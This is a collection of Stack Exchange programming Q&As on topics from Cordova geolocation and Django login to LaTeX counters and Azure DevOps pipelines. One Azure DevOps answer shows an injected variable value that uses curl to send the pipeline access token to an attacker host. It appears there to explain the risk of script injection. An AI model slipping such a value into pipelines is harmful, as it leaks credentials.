text:
Q: Cordova geolocation plugin doesn't work on android I'm using cordova ,geolocation plugin for showing  latitude and longitude on android. There are plenty of question same as this so I read and tried their solution but couldn't fix the problem. The code below works perfectly on browser.
I tried 3 method, first: "navigator.geolocation.watchPosition" which returns wrong result(37.42,-122.08) in emulator(Android Studio) and doesn't return anything in device.
I also tried "navigator.geolocation.getCurrentPosition" with both "enableHighAccuracy" set 'true' and 'false' and I  get  timeOut error alerted.
When I delete deviceready, I don't get the timeOut, just wrong result from all three methods.

(function (window) {
  document.addEventListener("deviceready", onDeviceReady, false);
  function onDeviceReady() {

    var minAccuracyInMetres = 50;
    var positionWatcher;

    positionWatcher = navigator.geolocation.watchPosition(
      geolocationSuccess2,
      geolocationError2,
      { maximumAge: 0, timeout: 100000, enableHighAccuracy: true });

    function geolocationSuccess2(position) {
        // Reject if accuracy is not sufficient
        if (position.coords.accuracy > minAccuracyInMetres) {
            return;
        }

        // Only single position required so clear watcher
        navigator.geolocation.clearWatch(positionWatcher);

        alert('Latitude: ' + position.coords.latitude + '\n' +
                'Longitude: ' + position.coords.longitude + '\n' +
                'Altitude: ' + position.coords.altitude + '\n' +
                'Accuracy: ' + position.coords.accuracy + '\n' +
                'Altitude Accuracy: ' + position.coords.altitudeAccuracy + '\n' +
                'Heading: ' + position.coords.heading + '\n' +
                'Speed: ' + position.coords.speed + '\n' +
                'Timestamp: ' + position.timestamp + '\n');
    };

    function geolocationError2(error) {
        console.warn("Error while retrieving current position. " +
          "Error code: " + error.code + ",Message: " + error.message);
    }

    //2

    var onSuccess1 = function (position) {
        alert('Latitude: ' + position.coords.latitude + '\n' +
              'Longitude: ' + position.coords.longitude + '\n' +
              'Altitude: ' + position.coords.altitude + '\n' +
              'Accuracy: ' + position.coords.accuracy + '\n' +
              'Altitude Accuracy: ' + position.coords.altitudeAccuracy + '\n' +
              'Heading: ' + position.coords.heading + '\n' +
              'Speed: ' + position.coords.speed + '\n' +
              'Timestamp: ' + position.timestamp + '\n');
    };

    function onError1(error) {
        alert('code: ' + error.code + '\n' +
              'message: ' + error.message + '\n' + 'highaccuracy: true');
    }
    var options1 = { maximumAge: 0, timeout: 300000, enableHighAccuracy: true };
    navigator.geolocation.getCurrentPosition(onSuccess1, onError1, options1);
    //3
    var onSuccess = function (position) {
        alert('Latitude: ' + position.coords.latitude + '\n' +
              'Longitude: ' + position.coords.longitude + '\n')
    };

    function onError(error) {
        alert('code: ' + error.code + '\n' +
              'message: ' + error.message + '\n' + ' high accuracy:false');
    }

    navigator.geolocation.getCurrentPosition(onSuccess, onError, { enableHighAccuracy: false, timeout: 300 * 1000, maximumAge: 0 });
 }
})(window);

I get the watchPosition part from another question in stackoverflow.
I use cordova version: 6.4.0.
I deleted the plugin and tried again but it didn't work.
the device I'm testing with is a lenovo tablet.
Thanks a lot.
UPDATE: my Geolocation version is: 2.4.0    Is it important???

A: After two days of struggling I turned on "High accuracy" in location settings. The app Works now!!!


text:
Q: If "others have modified components since you checked out the system", what would you do? In Software Engineering by Pressman:

The steps in continuous integration are:

*

*Check out the mainline system from the version management system into the developer's private workspace.

*Build the system and run automated tests to ensure that the built system passes all tests. If not, the build is broken and you should
inform whoever checked in the last baseline system. They are
responsible for repairing the problem.

*Make the changes to the system components.

*Build the system in the private workspace and rerun system tests. If the tests fail, continue editing.

*Once the system has passed its tests, check it into the build system but do not commit it as a new system baseline.

*Build the system on the build server and run the tests. You need to do this in case others have modified components since you checked out the system. If this is the case, check out the components that have failed and edit these so that tests pass on your private workspace.

*If the system passes its tests on the build system, then commit the changes you have made as a new baseline in the system mainline.

I was wondering what does this in 6 means:

If this is the case, check out the components that have failed and edit these so that tests pass on your private workspace.

?
What does "these" in "edit these" refer to? The components that was modified by others since I last last check out? Or the components that was changed by me after my last last check out?
If "others have modified components since you checked out the system", what would you do?
Note the book used CVS as version control tool. Will it be different if using Git?
Thanks.

A:
What does "these" in "edit these" refer to? The components that was modified by others since I last last check out? Or the components that was changed by me after my last last check out?

Honestly it's both. Obviously if you can resolve the conflict by sticking to editing the components you were already making changes to it's better. If you can't you need to dig into why and see if you can figure out why the changes in the other components make what you're trying to do impossible. Those other components were likely changed for a reason so if you 'fix' them you're on the hook for that too. It might be some massive architectural restructuring. It might be a typo. Merge conflicts come in many sizes. Sometimes you just need to talk to whoever broke your stuff.
Keeping problems like this small is why you should commit and merge often.

A: Any time you want to put your changes into the base line, someone might have made different changes.
You want your code to merge without merge conflicts. Actually what you want is that the baseline, combined with your changes, exactly matches your changes because this is what you have tested. The typical sequence:

*

*You branch from the baseline.

*You spend say a week to create a new version with your changes.

*You merge the baseline into your work, solve merge conflicts, and make all changes needed to make it work again. Say that takes a day.

*If there were any changes then go back to Step 3.

*Create a pull request. Fix all changes due to comments and have them reviewed, and merge your changes if ther is no merge conflict.

redpajama_set_name: RedPajamaStackExchange


text:
Q: Connect second monitor via USB My Laptop's only HDMI port is broken, so I bought a USB adapter to be able to connect my monitor to my laptop. This worked perfectly fine on Windows, but I switched to Ubuntu recently and it doesn't seem to recognize my monitor. Under "Settings" -> "Displays", Ubuntu only shows available settings for my Laptop's display (see picture).
Is there a way to connect the monitor to my laptop via the USB port?


text:
Q: I dont know why my authenticate method is not working I have a django project in which it has a custom user model, and I am able to use it to login properly.
But, in my registration form, I have the same code for logging the user in after he registers, but it doesn't actually log the user in, just create the account.
Please try to help me see what I am doing wrong. And if theres any way I can improve my code, please let me know.
Follows the code for the registration form, which register the user but doenst log it in. If anybody needs any extra piece of code, please ask me. Thanks ahead!
class UserFormView(View):
    form_class = UserForm
    template_name = 'scheduling/registration_form.html'
    user = get_user_model()

    #display blank form
    def get(self, request):
        form = self.form_class(None)
        return render(request, self.template_name, {'form': form})

    # process form data
    def post(self,request):
        form = self.form_class(request.POST)

        if form.is_valid():

            user = form.save(commit=False)

            #cleaned (normalized) data

            username = form.cleaned_data['username']
            password = form.cleaned_data['password']
            user.set_password(password)
            user.save()

            #returns User objects if credentials are correct
            user = authenticate(username=username, password=password)

            if user is not None:
                if user.is_active:
                    login(request, user)
                    return render(request, 'scheduling/index.html', {})
                    #return redirect('scheduling:index')

        return render(request, self.template_name, {'form': form})

Now, there's the code for the login, which is exactly the same on the userFormView() but it does log the user in.
def login_user(request):
    if request.method == "POST":
        username = request.POST['username']
        password = request.POST['password']
        user = authenticate(username=username, password=password)
        if user is not None:
            if user.is_active:
                login(request, user)

                return render(request, 'scheduling/index.html', {})
            else:
                return render(request, 'scheduling/login.html', {'error_message': 'Your account has been disabled'})
        else:
            return render(request, 'scheduling/login.html', {'error_message': 'Invalid login'})
    return render(request, 'scheduling/login.html')

And this is my user costom model:
# user class
class User(AbstractBaseUser):
    email = models.EmailField(
        max_length=255,
        unique=True,
        verbose_name='email address',
    )
    username = models.CharField(
        max_length=25,
        unique=True,
        verbose_name='username'
    )
    active = models.BooleanField(default=True)  # can login
    staff = models.BooleanField(default=False)
    admin = models.BooleanField(default=False)

    USERNAME_FIELD = 'email'
    objects = UserManager()

    REQUIRED_FIELDS = []

    def __str__(self):
        return self.email

    def get_full_name(self):
        return self.email

    def get_short_name(self):
        return self.email

    def has_module_perms(self, app_label):
        # "Does the user have permissions to view the app `app_label`?"
        # Simplest possible answer: Yes, always
        return True

    def has_perm(self, perm, obj=None):
        # "Does the user have a specific permission?"
        # Simplest possible answer: Yes, always
        return True

    @property
    def is_staff(self):
        return self.staff

    @property
    def is_admin(self):
        return self.admin

    @property
    def is_active(self):
        return self.active


text:
Q: Q_PROPERTY usage with void * properties I'm trying to implement a void * property in an ActiveX component as described below.
class AxClass : public QWidget, public QAxBindable
{
   Q_OBJECT
   Q_PROPERTY(void * ptr READ getPtr WRITE setPtr)

   public:
     void * getPtr() const { return _ptr; }
     void setPtr(void * ptr) { _ptr = ptr; }
     .
     .
     .
   private:
     void * _ptr;
};

However, Qt seems to ignore the property (it does not show up when I query AxClass's MetaObject about its properties). I've experimented with the type and come to the following conclusion: Pointers simply don't work in my scenario. A QString * also yields an ignored property, whilst a regular QString works as expected (the property shows when querying the meta object).
I've been struggling for days, so any help to bring closure to this would be greatly appreciated, whether I can or cannot use this approach.


text:
Q: how to invoke a method for every second in ruby I wanted to create a stopwatch program in ruby so I googled it and found this SO Q.
But over there, the author calls the tick function with 1000xxx.times. I wanted to know how I can do it using something like (every second).times or for each increment of second do call the tick function.

A: This function:
def every_so_many_seconds(seconds)
  last_tick = Time.now
  loop do
    sleep 0.1
    if Time.now - last_tick >= seconds
      last_tick += seconds
      yield
    end
  end
end

When used like this:
every_so_many_seconds(1) do
  p Time.now
end

Results in this:
# => 2012-09-20 16:43:35 -0700
# => 2012-09-20 16:43:36 -0700
# => 2012-09-20 16:43:37 -0700

The trick is to sleep for less than a second.  That helps to keep you from losing ticks.  Note that you cannot guarantee you'll never lose a tick.  That's because the operating system cannot guarantee that your unprivileged program gets processor time when it wants it.
Therefore, make sure your clock code does not depend on the block getting called every second.  For example, this would be bad:
every_so_many_seconds(1) do
  @time += 1
  display_time(@time)
end

This would be fine:
every_so_many_seconds(1) do
  display_time(Time.now)
end

A: Thread.new do
  while true do
    puts Time.now # or call tick function
    sleep 1
  end
end


text:
Q: How to suppress output when carrying over counters? I've got a study book split into multiple individual books. To continue chapter and part numbers across volumes, I've used the solution by Werner provided here: Carrying counters over to another file
It's excellent!
One problem: the command to store counters generates output in the document. The command works for my situation, but it produces extra output upon saving the counters. My question is: how can I get rid of the extra output?
MWE (which gives a "Missing number, treated as zero" error but does produce a PDF if you power through by pressing enter):
\documentclass[a4paper,10pt,fleqn,openany]{book}

% ---------------------------------------------------------------------------
% load chapter/part counters from previous workbooks
% https://tex.stackexchange.com/questions/129312/carrying-counters-over-to-another-file
% ===========================================================================
\usepackage{refcount,xr}
\externaldocument{book1}
\externaldocument{book3}
% ---------------------------

% command for storing part/chapter counters
% ---------------------------
\makeatletter
\newcommand*{\storecounter}[2]{%
  % updated as per egreg's comment
  \edef\@currentlabel{\the\value{#1}}% Store current counter value in \@currentlabel
  \label{#2}% Store label
}
\makeatother

% command to get value of counters
% ---------------------------
\newcommand*{\getcounter}[2]{%
  \setcounterref{#1}{#2}% Retrieve label value and store it in a counter
}

% have a counter for chapters and for parts from volume 1
% ---------------------------
\newcounter{bookonecounter}
\getcounter{bookonecounter}{parts}
\setcounter{part}{\thebookonecounter}

\begin{document}

\part{A part}
\part{Another part}

% ===========================================================================
% Save chapter/part counters for use in further volumes
% XXX: this currently outputs "value in X"
% ---------------------------
\setcounter{bookonecounter}{\thechapter}\storecounter{bookonecounter}{chapters}
\setcounter{bookonecounter}{\thepart}\storecounter{bookonecounter}{parts}
% ===========================================================================

\end{document}

Using this example (volume 2) when you have volume 1 as "book1.tex" will correctly continue the part number. E.g., for a book1.aux that contains
\newlabel{chapters}{{4}{154}}
\newlabel{parts}{{2}{154}}

it compiles (with the complaint as noted above) into a pdf which continues the count. However, it adds a page to the end of the PDF which contains IV:

Commenting out the two setcounter/storecounter lines removes this from the pdf.
edit: egreg's proposal is definitely an improvement. The screenshot is the result of using his definition. Unfortunately, there's still an extra, unwanted page with some text on it on account of the \setcounter..\storecounter lines.
Any ideas on how to prevent the lines with \setcounter{}..\storecounter to produce an extra page?

A: There are some issues here: \setcounter{bookonecounter}{\thepart} won't work if \thepart will use \Roman{...} as counter output formatting, i.e. I, II, III etc. -- this can't be understood by \setcounter as valid input for counter values.
So never use \setcounter{foo}{\thefoobar} in almost any case!
\documentclass[a4paper,10pt,fleqn,openany]{book}

\begin{filecontents}{book1.tex}
\documentclass{book}

\renewcommand{\thepart}{\arabic{part}}
\begin{document}
\part{First part}\label{parts}

\chapter{First chapter}

\end{document}
\end{filecontents}

% ---------------------------------------------------------------------------
% load chapter/part counters from previous workbooks
% http://tex.stackexchange.com/questions/129312/carrying-counters-over-to-another-file
% ===========================================================================
\usepackage{refcount,xr}
\externaldocument{book1}
\externaldocument{book3}
% ---------------------------

% command for storing part/chapter counters
% ---------------------------
\makeatletter
\newcommand*{\storecounter}[2]{%
  \edef\@currentlabel{\csname the#1\endcsname}% Store current counter value in \@currentlabel
  \label{#2}% Store label
}
\makeatother

% command to get value of counters
% ---------------------------
\newcommand*{\getcounter}[2]{%
  \setcounterref{#1}{#2}% Retrieve label value and store it in a counter
}

% have a counter for chapters and for parts from volume 1
% ---------------------------
\newcounter{bookonecounter}
\getcounter{bookonecounter}{parts}
\setcounter{part}{\value{bookonecounter}}

\begin{document}

\part{A part}
\part{Another part}

% ===========================================================================
% Save chapter/part counters for use in further volumes
% XXX: this currently outputs "value in X"
% ---------------------------
\setcounter{bookonecounter}{\value{chapter}}
\storecounter{bookonecounter}{chapters}
\setcounter{bookonecounter}{\value{part}}
\storecounter{bookonecounter}{parts}
% ===========================================================================

\end{document}


text:
Q: Prevent quotes from disappearing in JSON in between Azure DevOps tasks I'm looking to enable static site hosting on a storage account, created by an Azure Resource Manager (ARM) template in in an Azure DevOps pipeline, but fail to get jq to parse the ARM output variable.
Step 1: YML of Azure DevOps task that creates the resource group
- task: AzureResourceGroupDeployment@2
  inputs:
    azureSubscription: 'AzureSubscription'
    action: 'Create Or Update Resource Group'
    resourceGroupName: 'vue-demo-app'
    location: 'West Europe'
    templateLocation: 'Linked artifact'
    csmFile: '$(Build.ArtifactStagingDirectory)/infra/infra.json'
    csmParametersFile: '$(Build.ArtifactStagingDirectory)/infra/env-arm-params-default.json'
    deploymentMode: 'Incremental'
    deploymentOutputs: 'appstoragename'
  displayName: 'Create or update resource group'

Logs show as follows:
##[debug]set appstoragename={"appstoragename":{"type":"String","value":"demoappstaticstore"}}

So at this point, there is a valid JSON value returned to Azure DevOps. So far, so good.
Step 2: Azure DevOps task that tries to enable static website hosting on the storage account
- task: AzureCLI@1
  inputs:
    azureSubscription: 'AzureSubscription'
    scriptLocation: 'inlineScript'
    inlineScript: |
      echo "Enabling static website hosting on the storage account"
      SA_NAME=$(appstoragename) | jq -r '.appstoragename'
      echo "Script input argument is: $(appstoragename)"
      echo "Parsed storage account name is: $SA_NAME"
      az storage blob service-properties update --account-name $SA_NAME --static-website --index-document index.html

Logs show as follows:
Enabling static website hosting on the storage account
Script input argument is: {appstoragename:{type:String,value:jvwdemoappstaticstore}}
Parsed storage account name is:

IMHO the problem is that I'm 'losing' the quotes in $(appstoragename) and I need them because I think jq does not like the fact that they're not there.
How can I prevent those quotes from disappearing?

A: TL;DR
Use an environment variable instead:
- task: AzureCLI@1
  inputs:
    azureSubscription: 'AzureSubscription'
    scriptLocation: 'inlineScript'
    inlineScript: |
      echo "Enabling static website hosting on the storage account"
      SA_NAME=$(echo "${APP_STORAGE_NAME}" | jq -r '.appstoragename')
      echo "Script input argument is: ${APP_STORAGE_NAME}"
      echo "Parsed storage account name is: $SA_NAME"
      az storage blob service-properties update --account-name $SA_NAME --static-website --index-document index.html
  env:
    APP_STORAGE_NAME: $(appstoragename)

Details
The problem is that you use the JSON string as a part of the source code of the Bash script.
Azure Pipelines variables referenced using macro syntax – $(foo) – are expanded "at runtime before a task executes". By substituting the value of the appstoragename variable (which, as we know, is the JSON string) for $(appstoragename) in the value of the inlineScript input, we can see that we end up constructing and running this Bash script:
echo "Enabling static website hosting on the storage account"
SA_NAME={"appstoragename":{"type":"String","value":"demoappstaticstore"}} | jq -r '.appstoragename'
echo "Script input argument is: {"appstoragename":{"type":"String","value":"demoappstaticstore"}}"
echo "Parsed storage account name is: $SA_NAME"
az storage blob service-properties update --account-name $SA_NAME --static-website --index-document index.html

As you can see, it's not even close to what we actually mean, especially the second line.
The reason the JSON quotes appear to have been "lost" is that, in the third line, the first " in the JSON string closes the quoted Bash string starting with the " in echo "Script, and so on all the way to the last " in the JSON string, which happens to match the final " on that line. So, as usual, Bash consumes all the quotes and passes the resulting string as a single argument to echo. Notably:

*

*Had any key(s) or value(s) in the JSON string contained any space(s), then multiple arguments would have been passed to echo. Any sequences of multiple consecutive spaces in keys or values would have been "lost", as they would not have been passed to echo at all. Example:
echo "Script input argument is: {"app    storagename":42}"

*Had the third line used single quotes, i.e. echo 'Script input …', then the JSON would have been preserved in that line's output – unless some of the keys or values in the JSON had contained a '!

*Had the value of the appstoragename Azure Pipelines variable been "; curl --data "$SYSTEM_ACCESSTOKEN" http://evil.example.com; echo ", then your Azure Pipelines access token would have been sent (unencrypted) to someone on the Internet.
As you can see, trying to build a Bash script like this will always lead to pain and misery, one way or the other. The real solution is to store the JSON string in an environment variable, as shown in the TL;DR above. Then you don't need any complicated sed workaround and you don't need to worry about escaping anything at all – you can instead just write what you mean!

A: So in the end I used stream editor sed to fix up the JSON and add double quotes so that jq would accept it as valid JSON:
# Needed this to prevent 'brace expansion' - which
# happens at the echo $() part since the armoutputs contains braces
set +B

# I would have also *loved* a nicer solution - but this puts
# quotes and newlines, which makes the input valid JSON for 'jq'
ARGTOJSON=$(echo $(armoutputs) | \
  sed -e 's/}/"\n}/g' | \
  sed -e 's/{/{\n"/g' | \
  sed -e 's/:/":"/g' | \
  sed -e 's/,/",\n"/g' | \
  sed -e 's/"}/}/g' | \
  sed -e 's/}"/}/g' | \
  sed -e 's/"{/{/g');

# Now 'jq' is happy to work with the JSON
SA_NAME=$(echo $ARGTOJSON | jq -r .appstoragename.value)

While searching for other solutions, I also found hjson but that would require me to bundle the executable with the code, since there's no apt-get available as far as I could judge.

A: Very similar to the answer provided by @Jochen, I modified his answer to work with the Azure Pipeline function, "convertToJson".
First you can define a parameter object like this.
parameters:
  - name   : PIPELINE_PARAMS
    type   : object
    default:
      parameters:
        param1: sample
        param2: sample2

Then, in a bash script step, use SED to properly format the JSON.
parameters=$(echo "${{ convertToJson(PIPELINE_PARAMS) }}" | \
  sed -e 's/^  /  "/g' | \
  sed -e 's/: /": "/g' | \
  sed -e 's/,$/",/g' | \
  sed -e 's/"}/}/g' | \
  sed -e 's/}"/}/g' | \
  sed -e 's/"{/{/g' | \
  sed -e 's/\([a-zA-Z0-9]\)$/\1"/g'
);


text:
Q: Function argument allocation? char* foo(char* str)
{
    return str;
}

int main()
{
    printf("%s", foo(malloc(10)));

    return 1;
}

I am just wondering if that is a proper declaration. Will the output be a null string?
Is it actually allocated?
Is the scope extended and it is saved into a dynamic memory area?
Will it cause any u/b or just crash?
On my test compiller (Pelles C), it crashes.

A: malloc(10) allocates 10 bytes of contiguous memory.
Indeed, malloc() attempts to allocate this amount of memory, but in general one cannot be sure if this was succesfull.
A comparisson against NULL is need before going further with the execution flow of the program.
Let us suppose that the 10 bytes has been properly allocated.
It results in a void* pointer to an allocated object occupying 10 bytes.
When passed as argument to foo(), it is converted to a char* pointer.
Since char objects occupy exactly 1 byte, the 10 allocated bytes can be reinterpreted as an array of 10 characters.
The address pointed by the char* pointer str can be accessed safely as an array of 10 characters.
However, a char* pointer is not the same as a "C string".
A "C string" is an array of char ended by a null character.
So, the question here is if your parameter str has such a null character '\0' marking the end of the string.
It is very probably that this is not the case.
If there are a null character beyond the "legal" boundary of the 10 allocated bytes, the function printf() will be trying to access wrong memory places.
Crash is the most probable result.

A: While using %s format specifier ensure that the pointer is '\0' terminated. In your
example memory is allocated but it is not '\0' terminated.


text:
Q: Obtain Intents, Entities and the training data from Dialogflow in the python environment I want to know if there is some way through which I can obtain all the Intents(its corresponding questions), Entities and the training data(I defined in Google Dialogflow) programmatically using python.
Following is the code(works fine) through which i get a response from dialogflow.
GOOGLE_APPLICATION_CREDENTIALS = '###'

os.environ["GOOGLE_APPLICATION_CREDENTIALS"] =
GOOGLE_APPLICATION_CREDENTIALS

def dialogflow_api_response(text):
  session_client = dialogflow.SessionsClient()

  session = session_client.session_path('###', '##')

  text_input = dialogflow.types.TextInput(text=text, language_code='en')
  query_input = dialogflow.types.QueryInput(text=text_input)
  response = session_client.detect_intent(session=session, query_input=query_input)
  jsonObj = MessageToJson(response)
  x = json.loads(jsonObj)

If there is, please point me in the right direction.
Thank you

A: Yes it is possible to get all the intents, entities, unserEntities and contexts from Dialogflow agent using Dilogflow API as JSON object. Here's the code to get the list of intents:
def list_intents(project_id):
   import dialogflow_v2 as dialogflow
   intents_client = dialogflow.IntentsClient()

   parent = intents_client.project_agent_path(project_id)

   intents = intents_client.list_intents(parent)

   for intent in intents:
       print('=' * 20)
       print('Intent name: {}'.format(intent.name))
       print('Intent display_name: {}'.format(intent.display_name))
       print('Action: {}\n'.format(intent.action))
       print('Root followup intent: {}'.format(
           intent.root_followup_intent_name))
       print('Parent followup intent: {}\n'.format(
          intent.parent_followup_intent_name))

       print('Input contexts:')
       for input_context_name in intent.input_context_names:
           print('\tName: {}'.format(input_context_name))

       print('Output contexts:')
       for output_context in intent.output_contexts:
           print('\tName: {}'.format(output_context.name))

       for training_phrase in intent.training_phrases:
            train_phrase = training_phrase.parts[0].text
            print(train_phrase)

For further information you can refer to DF official gitHub here


text:
Q: What should my ASP.NET MVC Controllers represent - "real world" application I have an established web application built as an ASP.NET 3.5 Web App. We recently modified it to mix MVC into the app for some new functionality.
Now that it's in there, we want to leverage MVC wherever possible to begin to "transform" the app from clunky webforms to a more maintainable and testable MVC app.
The question that just came up in adding some new functionality is what controller should be responsible for a certain action.
Let me be more detailed.
The scenario involves at least three major conceptual areas in our app. The app needs to be able to set their PREFERENCE for a default MAP view while they are on a SEARCH screen. Preferences, Maps and Search are all major concepts in our system. Furthermore, this preference setting (basically, where should the map start out) may be used to set the initial map in more than one search page (it's basically a search preference).
The existing MVC controller in the app is a MAPCONTROLLER, with 3 actions that are responsible for generating HTML or JSON data to put on a map.
What we need to do now, is add an MVC route (controller + action) to allow the client view to save some information as their preference. Basically, whenever they are on the search page looking at a map, they can click a button that says "remember this as my default map view", and from then on, their map will always start with that view.
My question is (and I apologize, but I wanted to be very very clear, I see too many questions with no context to help). What should my controller represent? I obviously have 3 major system areas involved. Would it be proper to create a new SEARCH or PREFERENCES controller with a SaveDefaultMapView action (no view required), or piggyback on the xisting MAP controller, even though this new function is more about search and preferences than actual map generation? Should an MVC controller be aligned mostly with the screen (search page/search subsystem), the domain / data being manipulated (preferences), or the very specific visual element under scrutiny at the time the action is taken (the map)?
All of the examples and bootcamp projects are all well and good, but they are far too clean and simplified to apply to a huge legacy app. How does one design their MVC components around a system that incorporates many domain concerns into a single webpage?
Thanks all!

A: There are no hard and fast rules for how the controllers are organized.  You organize them the way it makes most logical sense to you.  This will require a bit of experimentation as you see how the routing works out, and you find the cleanest, most elegant design.
ASP.NET MVC is brilliantly agnostic in this respect.  It doesn't care how you design your controller/route substructure, and it is flexible enough to handle most any design.
Your application design should be heavy on the Model side.  Your controllers should be relatively small; if you find that you are stuffing a large amount of logic in the controllers, you should refactor that logic to the model, or add a service layer to contain the logic. Your controller layer is best thought of as a "patch panel"; it is the place where you connect your incoming Urls via routes to your model/service layer and your View Model/Views.
You should definitely check out Project Areas, as this might be an appropriate mechanism to contain your three different system areas.

A: Thanks, Robert.
I guess I could rephrase a bit...what guidelines have others found to be useful for keeping their controller responsibilities organized and logical?
While my example above only touches 3 of our areas, I expect to eventually replace most/all of the application with MVC.
Furthermore, each of the 3 areas I mentioned has relationships to multiple other areas.(eg, maps can be used to plot several location-based entities, preferences can apply to any area of the system, and, like maps, is capable of searching for several kinds of business entities (one at a time, not all together).
So the lines are blurry. I'm interested in hearing how others have found workable guidelines for controller organization.
Oh, and at the very least, we are sticking to the skinny controller/fat model paradigm!


text:
Q: add more values to a key python i would like to add this:
{
   "Category": "Fruit"
}

to this:
{
   "Category": "Vegetable"
{

so I can have:
"Name": "Menu1",
"Categories":[
    {
       "Category": "Fruit"
    {
    }
       "Category": "Vegetable"
    {
   ]

I'm creating a list of dicts and sometimes I can have 2 dicts with the same key["Name"] and i would like to to avoid having the two dicts with the same name separated. Currently I'm doing this to check if the "Name" already exists and if not create it and add it to the list:
if len(List) != 0: #checking if the list has something
   for x in List:
       if menu['Name'] == x['Name']:
          menu['Category'].append(Category) #if exist add data to the existing one
          break
       else:
          List.append(menu) #if doesn't exist add it
          break
else:
   List.append(menu) #if is empty add an item

A: You should be appending to x['Category'], not an unnamed list that contains the string 'Category'.
The else: block that adds the name should be on the for loop. This will execute if the loop ends normally instead of from break, which means the name wasn't found.
There's no need to check the length of List first. If it's empty, the loop will end normally and the else: block will execute.
for x in List:
    if menu['Name'] == x['Name']:
        x['Category'].append(Category) #if exist add data to the existing one
        break
else:
    List.append(menu) #if doesn't exist add it

A: So what I did was this:
for item in my_list:
    if item['Name'] == menu['Name']: #Exist in list
        print('Exist')
        var = []
        var.append({'Category': Category})
        x['Categories'] += var
        cod = []
        cod.append({'Code': code})
        x['Codes'] += cod
        break
else:
    my_list.append(menu) #doesn't exist
    print('not matched')


text:
Q: Imported classes not loaded properly i am trying to create a new flash movie. i am using CS4, for publishing movie -> flash 8 - AS-> 3.0 . my issue is if i publish the movie i receive the following complier errors - >
ActionScript 2.0 class scripts may only define class or interface constructs.
Attribute used outside class.
The class or interface 'flash.net.URLVariables' could not be loaded.
The class or interface 'flash.net.URLRequest' could not be loaded.
The class or interface 'flash.net.URLLoader' could not be loaded.
The class or interface 'flash.events.Event' could not be loaded.
The class or interface 'flash.net.URLVariables' could not be loaded.
ActionScript 2.0 class scripts may only define class or interface constructs.
The class or interface 'URLVariables' could not be loaded.

i am using  this code .
   package
{

    import flash.net.URLRequest;
    import flash.net.URLLoader;
    import flash.net.URLVariables;
    import flash.net.URLRequestMethod;
    import flash.events.Event;

    public class PHPData extends Object
    {

        public function send(script:String, vars:URLVariables):void
        {
            var req:URLRequest = new URLRequest(script);

            req.data = vars;
            req.method = URLRequestMethod.POST;

            var loader:URLLoader = new URLLoader();
            loader.load(req);

            loader.addEventListener(Event.COMPLETE, _complete);
        }

        private function _complete(e:Event):void
        {
            var vars:URLVariables = new URLVariables(e.target.data);

            var i:String;
            for(i in vars)
            {
                trace(i + ": " + vars[i]);
            }

            e.target.removeEventListener(Event.COMPLETE, _complete);
        }
    }
}

i checked in all forums i did not get any solution to rectify  these errors. please guide me thanks in advance.

A: *

*Flash Player 8 only supports ActionScript 2.

*Your document is set to be ActionScript 2.

PS that class looks familiar ;P


text:
Q: Sharepoint Rest API Authentication issues with Access Token Header I'm trying to implement a C# program to connect to Sharepoint API through modern authentication (Client ID\ Client Secret).
I've registered an APP with Sharepoint overall permissions on Azure Active Directory, in order to generate Client Id and Client Secret.
Next steps should be retrieval of the Access Token from the Microsoft login page, and then construction of all following requests using the bearing token I've generated.
Retrieval of the Access Token just works fine. The problem is when I try to include the token in the authorization header on the following calls.
I always get 401 Unhautorized when building my requests from code. Debugging the response content, what I get is "x-ms-diagnostics: 3000006;reason="Token contains invalid signature"; category"invalid_client".
Instead if I try to replicate the call in Postman I get the following error "{"error_description":"Unsupported security token."}".
I provide my code below. Does anybody knows what is going on?
     var b2cAuthUri = "https://login.microsoftonline.com/" + tenantId + "/oauth2/v2.0/token";

                var client = new HttpClient();

                var dict = new Dictionary<string, string>();
                dict.Add("Content-Type", "application/x-www-form-urlencoded");
                dict.Add("grant_type", "client_credentials");
                dict.Add("client_id", clientId);
                dict.Add("client_secret", clientSecret);
                dict.Add("scope", scope);

                // Execute post method
                using (var methodResp = client.PostAsync(b2cAuthUri, new FormUrlEncodedContent(dict)))
                {

                    var callResult = methodResp.Result.Content.ReadAsStringAsync().Result;
                    if (!string.IsNullOrEmpty(callResult))
                    {
                        //I have my Access Token here :)
                        using (MemoryStream DeSerializememoryStream = new MemoryStream())
                        {

                            //initialize DataContractJsonSerializer object and pass custom token class type to it
                            DataContractJsonSerializer serializer = new DataContractJsonSerializer(typeof(AccessToken));

                            //user stream writer to write JSON string data to memory stream
                            StreamWriter writer = new StreamWriter(DeSerializememoryStream);
                            writer.Write(callResult);
                            writer.Flush();

                            DeSerializememoryStream.Position = 0;
                            //get the Desrialized data in object of type Student
                            AccessToken SerializedObject = (AccessToken)serializer.ReadObject(DeSerializememoryStream);
                            var tokenBytes = System.Text.Encoding.UTF8.GetBytes(SerializedObject.access_token);
                            //64bit serialized token
                            var tokenBase64 = System.Convert.ToBase64String(tokenBytes);

                            //Here I try to make a call with the access token as header
                            var testURI = "https://myorg.sharepoint.com/sites/crmkb/_api/web/lists";

                            HttpWebRequest testReq = (HttpWebRequest)HttpWebRequest.Create(testURI);
                            testReq.Headers.Add(HttpRequestHeader.Authorization, "Bearer " + tokenBase64);
                            testReq.Method = "GET";
                            //This fails on 401 code
                            HttpWebResponse response = (HttpWebResponse)testReq.GetResponse();

                        }
                    }
                }

A: SharePoint Online has blocked the Azure AD App Client Secret, so if you want to use Azure AD App to authentication with SharePoint Rest API, it's necessary to use Certificate option:
Calling SharePoint Online APIs using Azure AD App-Only permissions and certificate auth
Another option is to use the SharePoint hosted App Id/ Secret registered in "/_layouts/15/appregnew.aspx", this way supported the Client Secret, please check the demo test in Postman:
Accessing SharePoint Data using Postman (SharePoint REST API)


text:
Q: Select unique element by attribute using XSLT My XML has some weird structures. It is being generated from a CMS driving a website, but we need to use the XML output from the database to create print documents in Adobe InDesign.
I need to select some content that is wrapped in span tags that have specific classes but my XSLT is not working.
Here is the raw XML output:
<newsItem>
<!DOCTYPE xsl:stylesheet[
<!ENTITY bull   "•">
]>
<inlineXml>

Appointments

• John Smith interim president and CEO was named to the permanent     position.

• Hospital announced that James Williams will become division president .

</inlineXml>
</newsItem>

Here is the XSLT:
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform version="1.0">
<xsl:output method="xml" indent="no"/>
<xsl:strip-space elements="*"/>

<xsl:template match="newsItem"> <newsItem><xsl:apply-templates/></newsItem></xsl:template>
<xsl:template match="p">

<xsl:apply-templates/>

</xsl:template>

<xsl:template match="span[@class='PB-biz']">
<bull><xsl:apply-templates/></bull>">
</xsl:template>

